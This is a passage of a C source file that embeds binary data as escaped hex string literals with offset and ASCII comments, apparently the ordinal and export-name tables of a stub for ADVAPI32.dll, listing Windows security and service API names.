\"\\x78\\x01\\x79\\x01\\x7A\\x01\\x7B\\x01\\x7C\\x01\\x7D\\x01\\x7E\\x01\\x7F\\x01\"   //x.y.z.{.|.}.~...\n/* 0030A0 */   \"\\x80\\x01\\x81\\x01\\x82\\x01\\x83\\x01\\x84\\x01\\x85\\x01\\x86\\x01\\x87\\x01\"   //................\n/* 0030C0 */   \"\\x88\\x01\\x89\\x01\\x8A\\x01\\x8B\\x01\\x8C\\x01\\x8D\\x01\\x8E\\x01\\x8F\\x01\"   //................\n/* 0030E0 */   \"\\x90\\x01\\x91\\x01\\x92\\x01\\x93\\x01\\x94\\x01\\x96\\x01\\x95\\x01\\x98\\x01\"   //................\n/* 003100 */   \"\\x97\\x01\\x99\\x01\\x9A\\x01\\x9B\\x01\\x9C\\x01\\x9D\\x01\\x9E\\x01\\x9F\\x01\"   //................\n/* 003120 */   \"\\xA0\\x01\\xA1\\x01\\xA2\\x01\\xA3\\x01\\xA4\\x01\\xA5\\x01\\xA6\\x01\\xA7\\x01\"   //................\n/* 003140 */   \"\\xA8\\x01\\xA9\\x01\\xAA\\x01\\xAB\\x01\\xAC\\x01\\xAD\\x01\\xAE\\x01\\xAF\\x01\"   //................\n/* 003160 */   \"\\xB0\\x01\\xB1\\x01\\xB2\\x01\\xB3\\x01\\xB4\\x01\\xB5\\x01\\xB6\\x01\\xB7\\x01\"   //................\n/* 003180 */   \"\\xB8\\x01\\xB9\\x01\\xBA\\x01\\xBB\\x01\\xBC\\x01\\xBD\\x01\\xBE\\x01\\xBF\\x01\"   //................\n/* 0031A0 */   \"\\xC0\\x01\\xC1\\x01\\xC2\\x01\\xC3\\x01\\xC4\\x01\\xC5\\x01\\xC6\\x01\\xC7\\x01\"   //À.Á.Â.Ã.Ä.Å.Æ.Ç.\n/* 0031C0 */   \"\\xC8\\x01\\xC9\\x01\\xCA\\x01\\xCB\\x01\\xCC\\x01\\xCD\\x01\\xCE\\x01\\xCF\\x01\"   //È.É.Ê.Ë.Ì.Í.Î.Ï.\n/* 0031E0 */   \"\\xD0\\x01\\xD1\\x01\\xD2\\x01\\xD3\\x01\\xD4\\x01\\xD5\\x01\\xD6\\x01\\xD7\\x01\"   //Ð.Ñ.Ò.Ó.Ô.Õ.Ö.×.\n/* 003200 */   \"\\xD8\\x01\\xD9\\x01\\xDA\\x01\\xDB\\x01\\xDC\\x01\\xDD\\x01\\xDE\\x01\\xDF\\x01\"   //Ø.Ù.Ú.Û.Ü.Ý.Þ.ß.\n/* 003220 */   \"\\xE0\\x01\\xE1\\x01\\xE2\\x01\\xE3\\x01\\xE4\\x01\\xE5\\x01\\xE6\\x01\\xE7\\x01\"   //à.á.â.ã.ä.å.æ.ç.\n/* 003240 */   \"\\xE8\\x01\\xE9\\x01\\xEA\\x01\\xEB\\x01\\xEC\\x01\\xED\\x01\\xEE\\x01\\xEF\\x01\"   //è.é.ê.ë.ì.í.î.ï.\n/* 003260 */   \"\\xF0\\x01\\xF1\\x01\\xF2\\x01\\xF3\\x01\\xF4\\x01\\xF5\\x01\\xF6\\x01\\xF7\\x01\"   //ð.ñ.ò.ó.ô.õ.ö.÷.\n/* 003280 */   \"\\xF8\\x01\\xF9\\x01\\xFA\\x01\\xFB\\x01\\xFC\\x01\\xFD\\x01\\xFE\\x01\\xFF\\x01\"   //ø.ù.ú.û.ü.ý.þ.ÿ.\n/* 0032A0 */   \"\\x00\\x02\\x01\\x02\\x02\\x02\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x07\\x02\"   //................\n/* 0032C0 */   \"\\x08\\x02\\x09\\x02\\x0A\\x02\\x0B\\x02\\x0C\\x02\\x0D\\x02\\x0E\\x02\\x0F\\x02\"   //................\n/* 0032E0 */   \"\\x10\\x02\\x11\\x02\\x12\\x02\\x13\\x02\\x14\\x02\\x15\\x02\\x16\\x02\\x17\\x02\"   //................\n/* 003300 */   \"\\x18\\x02\\x19\\x02\\x1A\\x02\\x1B\\x02\\x1C\\x02\\x1D\\x02\\x1E\\x02\\x1F\\x02\"   //................\n/* 003320 */   \"\\x20\\x02\\x21\\x02\\x22\\x02\\x23\\x02\\x24\\x02\\x25\\x02\\x26\\x02\\x27\\x02\"   //..!.\".#.$.%.&.'.\n/* 003340 */   \"\\x28\\x02\\x29\\x02\\x2A\\x02\\x2B\\x02\\x2C\\x02\\x2D\\x02\\x2E\\x02\\x2F\\x02\"   //(.).*.+.,.-.../.\n/* 003360 */   \"\\x30\\x02\\x31\\x02\\x32\\x02\\x33\\x02\\x34\\x02\\x35\\x02\\x36\\x02\\x37\\x02\"   //0.1.2.3.4.5.6.7.\n/* 003380 */   \"\\x38\\x02\\x39\\x02\\x3A\\x02\\x3B\\x02\\x3C\\x02\\x3D\\x02\\x3E\\x02\\x3F\\x02\"   //8.9.:.;.<.=.>.?.\n/* 0033A0 */   \"\\x40\\x02\\x41\\x02\\x42\\x02\\x43\\x02\\x44\\x02\\x45\\x02\\x46\\x02\\x47\\x02\"   //@.A.B.C.D.E.F.G.\n/* 0033C0 */   \"\\x48\\x02\\x49\\x02\\x4A\\x02\\x4B\\x02\\x4C\\x02\\x4D\\x02\\x4E\\x02\\x4F\\x02\"   //H.I.J.K.L.M.N.O.\n/* 0033E0 */   \"\\x50\\x02\\x51\\x02\\x52\\x02\\x53\\x02\\x54\\x02\\x55\\x02\\x56\\x02\\x57\\x02\"   //P.Q.R.S.T.U.V.W.\n/* 003400 */   \"\\x58\\x02\\x59\\x02\\x5A\\x02\\x5B\\x02\\x5C\\x02\\x5D\\x02\\x5E\\x02\\x5F\\x02\"   //X.Y.Z.[.\\.].^._.\n/* 003420 */   \"\\x60\\x02\\x61\\x02\\x62\\x02\\x63\\x02\\x64\\x02\\x65\\x02\\x66\\x02\\x67\\x02\"   //`.a.b.c.d.e.f.g.\n/* 003440 */   \"\\x68\\x02\\x69\\x02\\x6A\\x02\\x6B\\x02\\x6C\\x02\\x6D\\x02\\x6E\\x02\\x6F\\x02\"   //h.i.j.k.l.m.n.o.\n/* 003460 */   \"\\x70\\x02\\x71\\x02\\x72\\x02\\x73\\x02\\x74\\x02\\x75\\x02\\x76\\x02\\x77\\x02\"   //p.q.r.s.t.u.v.w.\n/* 003480 */   \"\\x78\\x02\\x79\\x02\\x7A\\x02\\x7B\\x02\\x7C\\x02\\x7D\\x02\\x7E\\x02\\x7F\\x02\"   //x.y.z.{.|.}.~...\n/* 0034A0 */   \"\\x80\\x02\\x81\\x02\\x82\\x02\\x83\\x02\\x84\\x02\\x85\\x02\\x86\\x02\\x87\\x02\"   //................\n/* 0034C0 */   \"\\x88\\x02\\x89\\x02\\x8A\\x02\\x8B\\x02\\x8C\\x02\\x8D\\x02\\x8E\\x02\\x8F\\x02\"   //................\n/* 0034E0 */   \"\\x90\\x02\\x91\\x02\\x92\\x02\\x93\\x02\\x94\\x02\\x95\\x02\\x96\\x02\\x97\\x02\"   //................\n/* 003500 */   \"\\x98\\x02\\x99\\x02\\x9A\\x02\\x9B\\x02\\x9C\\x02\\x9D\\x02\\x9E\\x02\\x9F\\x02\"   //................\n/* 003520 */   \"\\xA0\\x02\\xA1\\x02\\xA2\\x02\\xA3\\x02\\xA4\\x02\\x41\\x44\\x56\\x41\\x50\\x49\"   //..........ADVAPI\n/* 003540 */   \"\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x41\\x5F\\x53\\x48\\x41\\x46\\x69\\x6E\\x61\"   //32.dll.A_SHAFina\n/* 003560 */   \"\\x6C\\x00\\x41\\x5F\\x53\\x48\\x41\\x49\\x6E\\x69\\x74\\x00\\x41\\x5F\\x53\\x48\"   //l.A_SHAInit.A_SH\n/* 003580 */   \"\\x41\\x55\\x70\\x64\\x61\\x74\\x65\\x00\\x41\\x62\\x6F\\x72\\x74\\x53\\x79\\x73\"   //AUpdate.AbortSys\n/* 0035A0 */   \"\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x41\\x00\\x41\\x62\\x6F\"   //temShutdownA.Abo\n/* 0035C0 */   \"\\x72\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\"   //rtSystemShutdown\n/* 0035E0 */   \"\\x57\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x00\\x41\\x63\"   //W.AccessCheck.Ac\n/* 003600 */   \"\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\"   //cessCheckAndAudi\n/* 003620 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\"   //tAlarmA.AccessCh\n/* 003640 */   \"\\x65\\x63\\x6B\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\"   //eckAndAuditAlarm\n/* 003660 */   \"\\x57\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\"   //W.AccessCheckByT\n/* 003680 */   \"\\x79\\x70\\x65\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //ype.AccessCheckB\n/* 0036A0 */   \"\\x79\\x54\\x79\\x70\\x65\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //yTypeAndAuditAla\n/* 0036C0 */   \"\\x72\\x6D\\x41\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //rmA.AccessCheckB\n/* 0036E0 */   \"\\x79\\x54\\x79\\x70\\x65\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //yTypeAndAuditAla\n/* 003700 */   \"\\x72\\x6D\\x57\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //rmW.AccessCheckB\n/* 003720 */   \"\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x00\"   //yTypeResultList.\n/* 003740 */   \"\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\"   //AccessCheckByTyp\n/* 003760 */   \"\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\"   //eResultListAndAu\n/* 003780 */   \"\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\\x00\\x41\\x63\\x63\\x65\\x73\\x73\"   //ditAlarmA.Access\n/* 0037A0 */   \"\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\"   //CheckByTypeResul\n/* 0037C0 */   \"\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //tListAndAuditAla\n/* 0037E0 */   \"\\x72\\x6D\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x41\\x00\\x41\\x63\\x63\\x65\"   //rmByHandleA.Acce\n/* 003800 */   \"\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\"   //ssCheckByTypeRes\n/* 003820 */   \"\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\"   //ultListAndAuditA\n/* 003840 */   \"\\x6C\\x61\\x72\\x6D\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x57\\x00\\x41\\x63\"   //larmByHandleW.Ac\n/* 003860 */   \"\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\"   //cessCheckByTypeR\n/* 003880 */   \"\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\"   //esultListAndAudi\n/* 0038A0 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\"   //tAlarmW.AddAcces\n/* 0038C0 */   \"\\x73\\x41\\x6C\\x6C\\x6F\\x77\\x65\\x64\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\"   //sAllowedAce.AddA\n/* 0038E0 */   \"\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\\x6C\\x6F\\x77\\x65\\x64\\x41\\x63\\x65\\x45\"   //ccessAllowedAceE\n/* 003900 */   \"\\x78\\x00\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\\x6C\\x6F\\x77\"   //x.AddAccessAllow\n/* 003920 */   \"\\x65\\x64\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\"   //edObjectAce.AddA\n/* 003940 */   \"\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\\x69\\x65\\x64\\x41\\x63\\x65\\x00\\x41\"   //ccessDeniedAce.A\n/* 003960 */   \"\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\\x69\\x65\\x64\\x41\\x63\"   //ddAccessDeniedAc\n/* 003980 */   \"\\x65\\x45\\x78\\x00\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\"   //eEx.AddAccessDen\n/* 0039A0 */   \"\\x69\\x65\\x64\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\\x00\\x41\\x64\\x64\"   //iedObjectAce.Add\n/* 0039C0 */   \"\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x63\\x63\\x65\"   //Ace.AddAuditAcce\n/* 0039E0 */   \"\\x73\\x73\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x63\"   //ssAce.AddAuditAc\n/* 003A00 */   \"\\x63\\x65\\x73\\x73\\x41\\x63\\x65\\x45\\x78\\x00\\x41\\x64\\x64\\x41\\x75\\x64\"   //cessAceEx.AddAud\n/* 003A20 */   \"\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\"   //itAccessObjectAc\n/* 003A40 */   \"\\x65\\x00\\x41\\x64\\x64\\x55\\x73\\x65\\x72\\x73\\x54\\x6F\\x45\\x6E\\x63\\x72\"   //e.AddUsersToEncr\n/* 003A60 */   \"\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x00\\x41\\x64\\x6A\\x75\\x73\\x74\"   //yptedFile.Adjust\n/* 003A80 */   \"\\x54\\x6F\\x6B\\x65\\x6E\\x47\\x72\\x6F\\x75\\x70\\x73\\x00\\x41\\x64\\x6A\\x75\"   //TokenGroups.Adju\n/* 003AA0 */   \"\\x73\\x74\\x54\\x6F\\x6B\\x65\\x6E\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\"   //stTokenPrivilege\n/* 003AC0 */   \"\\x73\\x00\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x41\\x6E\\x64\\x49\\x6E\\x69\"   //s.AllocateAndIni\n/* 003AE0 */   \"\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x53\\x69\\x64\\x00\\x41\\x6C\\x6C\\x6F\\x63\"   //tializeSid.Alloc\n/* 003B00 */   \"\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x6C\\x79\\x55\\x6E\\x69\\x71\\x75\\x65\"   //ateLocallyUnique\n/* 003B20 */   \"\\x49\\x64\\x00\\x41\\x72\\x65\\x41\\x6C\\x6C\\x41\\x63\\x63\\x65\\x73\\x73\\x65\"   //Id.AreAllAccesse\n/* 003B40 */   \"\\x73\\x47\\x72\\x61\\x6E\\x74\\x65\\x64\\x00\\x41\\x72\\x65\\x41\\x6E\\x79\\x41\"   //sGranted.AreAnyA\n/* 003B60 */   \"\\x63\\x63\\x65\\x73\\x73\\x65\\x73\\x47\\x72\\x61\\x6E\\x74\\x65\\x64\\x00\\x42\"   //ccessesGranted.B\n/* 003B80 */   \"\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x42\"   //ackupEventLogA.B\n/* 003BA0 */   \"\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x42\"   //ackupEventLogW.B\n/* 003BC0 */   \"\\x75\\x69\\x6C\\x64\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x41\\x63\\x63\\x65\"   //uildExplicitAcce\n/* 003BE0 */   \"\\x73\\x73\\x57\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\\x00\\x42\\x75\\x69\\x6C\"   //ssWithNameA.Buil\n/* 003C00 */   \"\\x64\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x57\"   //dExplicitAccessW\n/* 003C20 */   \"\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\"   //ithNameW.BuildIm\n/* 003C40 */   \"\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\"   //personateExplici\n/* 003C60 */   \"\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x57\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\"   //tAccessWithNameA\n/* 003C80 */   \"\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\"   //.BuildImpersonat\n/* 003CA0 */   \"\\x65\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x57\"   //eExplicitAccessW\n/* 003CC0 */   \"\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\"   //ithNameW.BuildIm\n/* 003CE0 */   \"\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\"   //personateTrustee\n/* 003D00 */   \"\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\"   //A.BuildImpersona\n/* 003D20 */   \"\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\"   //teTrusteeW.Build\n/* 003D40 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 003D60 */   \"\\x6F\\x72\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //orA.BuildSecurit\n/* 003D80 */   \"\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x57\\x00\\x42\\x75\\x69\"   //yDescriptorW.Bui\n/* 003DA0 */   \"\\x6C\\x64\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4E\\x61\\x6D\"   //ldTrusteeWithNam\n/* 003DC0 */   \"\\x65\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\"   //eA.BuildTrusteeW\n/* 003DE0 */   \"\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\"   //ithNameW.BuildTr\n/* 003E00 */   \"\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\"   //usteeWithObjects\n/* 003E20 */   \"\\x41\\x6E\\x64\\x4E\\x61\\x6D\\x65\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\"   //AndNameA.BuildTr\n/* 003E40 */   \"\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\"   //usteeWithObjects\n/* 003E60 */   \"\\x41\\x6E\\x64\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\"   //AndNameW.BuildTr\n/* 003E80 */   \"\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\"   //usteeWithObjects\n/* 003EA0 */   \"\\x41\\x6E\\x64\\x53\\x69\\x64\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\\x75\"   //AndSidA.BuildTru\n/* 003EC0 */   \"\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\\x41\"   //steeWithObjectsA\n/* 003EE0 */   \"\\x6E\\x64\\x53\\x69\\x64\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\\x75\\x73\"   //ndSidW.BuildTrus\n/* 003F00 */   \"\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x53\\x69\\x64\\x41\\x00\\x42\\x75\\x69\\x6C\"   //teeWithSidA.Buil\n/* 003F20 */   \"\\x64\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x53\\x69\\x64\\x57\"   //dTrusteeWithSidW\n/* 003F40 */   \"\\x00\\x43\\x61\\x6E\\x63\\x65\\x6C\\x4F\\x76\\x65\\x72\\x6C\\x61\\x70\\x70\\x65\"   //.CancelOverlappe\n/* 003F60 */   \"\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x53\\x65\"   //dAccess.ChangeSe\n/* 003F80 */   \"\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x32\\x41\\x00\\x43\\x68\"   //rviceConfig2A.Ch\n/* 003FA0 */   \"\\x61\\x6E\\x67\\x65\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\"   //angeServiceConfi\n/* 003FC0 */   \"\\x67\\x32\\x57\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x53\\x65\\x72\\x76\\x69\\x63\"   //g2W.ChangeServic\n/* 003FE0 */   \"\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x41\\x00\\x43\\x68\\x61\\x6E\\x67\\x65\\x53\"   //eConfigA.ChangeS\n/* 004000 */   \"\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6F\\x6E\\x66\\x69\\x67\\x57\\x00\\x43\\x68\"   //erviceConfigW.Ch\n/* 004020 */   \"\\x65\\x63\\x6B\\x54\\x6F\\x6B\\x65\\x6E\\x4D\\x65\\x6D\\x62\\x65\\x72\\x73\\x68\"   //eckTokenMembersh\n/* 004040 */   \"\\x69\\x70\\x00\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\"   //ip.ClearEventLog\n/* 004060 */   \"\\x41\\x00\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\"   //A.ClearEventLogW\n/* 004080 */   \"\\x00\\x43\\x6C\\x6F\\x73\\x65\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\"   //.CloseCodeAuthzL\n/* 0040A0 */   \"\\x65\\x76\\x65\\x6C\\x00\\x43\\x6C\\x6F\\x73\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\"   //evel.CloseEncryp\n/* 0040C0 */   \"\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\\x77\\x00\\x43\\x6C\\x6F\\x73\\x65\"   //tedFileRaw.Close\n/* 0040E0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x00\\x43\\x6C\\x6F\\x73\\x65\\x53\\x65\"   //EventLog.CloseSe\n/* 004100 */   \"\\x72\\x76\\x69\\x63\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x43\\x6C\\x6F\\x73\"   //rviceHandle.Clos\n/* 004120 */   \"\\x65\\x54\\x72\\x61\\x63\\x65\\x00\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x4C\\x69\"   //eTrace.CommandLi\n/* 004140 */   \"\\x6E\\x65\\x46\\x72\\x6F\\x6D\\x4D\\x73\\x69\\x44\\x65\\x73\\x63\\x72\\x69\\x70\"   //neFromMsiDescrip\n/* 004160 */   \"\\x74\\x6F\\x72\\x00\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x41\\x63\\x63\\x65\\x73\"   //tor.ComputeAcces\n/* 004180 */   \"\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x46\\x72\\x6F\\x6D\\x43\\x6F\\x64\\x65\\x41\\x75\"   //sTokenFromCodeAu\n/* 0041A0 */   \"\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\"   //thzLevel.Control\n/* 0041C0 */   \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x54\"   //Service.ControlT\n/* 0041E0 */   \"\\x72\\x61\\x63\\x65\\x41\\x00\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x54\\x72\\x61\"   //raceA.ControlTra\n/* 004200 */   \"\\x63\\x65\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x41\\x63\\x63\\x65\\x73\"   //ceW.ConvertAcces\n/* 004220 */   \"\\x73\\x54\\x6F\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\"   //sToSecurityDescr\n/* 004240 */   \"\\x69\\x70\\x74\\x6F\\x72\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x41\\x63\"   //iptorA.ConvertAc\n/* 004260 */   \"\\x63\\x65\\x73\\x73\\x54\\x6F\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\"   //cessToSecurityDe\n/* 004280 */   \"\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\"   //scriptorW.Conver\n/* 0042A0 */   \"\\x74\\x53\\x44\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x52\\x6F\\x6F\"   //tSDToStringSDRoo\n/* 0042C0 */   \"\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\"   //tDomainA.Convert\n/* 0042E0 */   \"\\x53\\x44\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x52\\x6F\\x6F\\x74\"   //SDToStringSDRoot\n/* 004300 */   \"\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\"   //DomainW.ConvertS\n/* 004320 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 004340 */   \"\\x72\\x54\\x6F\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //rToAccessA.Conve\n/* 004360 */   \"\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\"   //rtSecurityDescri\n/* 004380 */   \"\\x70\\x74\\x6F\\x72\\x54\\x6F\\x41\\x63\\x63\\x65\\x73\\x73\\x4E\\x61\\x6D\\x65\"   //ptorToAccessName\n/* 0043A0 */   \"\\x64\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //dA.ConvertSecuri\n/* 0043C0 */   \"\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x41\\x63\"   //tyDescriptorToAc\n/* 0043E0 */   \"\\x63\\x65\\x73\\x73\\x4E\\x61\\x6D\\x65\\x64\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //cessNamedW.Conve\n/* 004400 */   \"\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\"   //rtSecurityDescri\n/* 004420 */   \"\\x70\\x74\\x6F\\x72\\x54\\x6F\\x41\\x63\\x63\\x65\\x73\\x73\\x57\\x00\\x43\\x6F\"   //ptorToAccessW.Co\n/* 004440 */   \"\\x6E\\x76\\x65\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\"   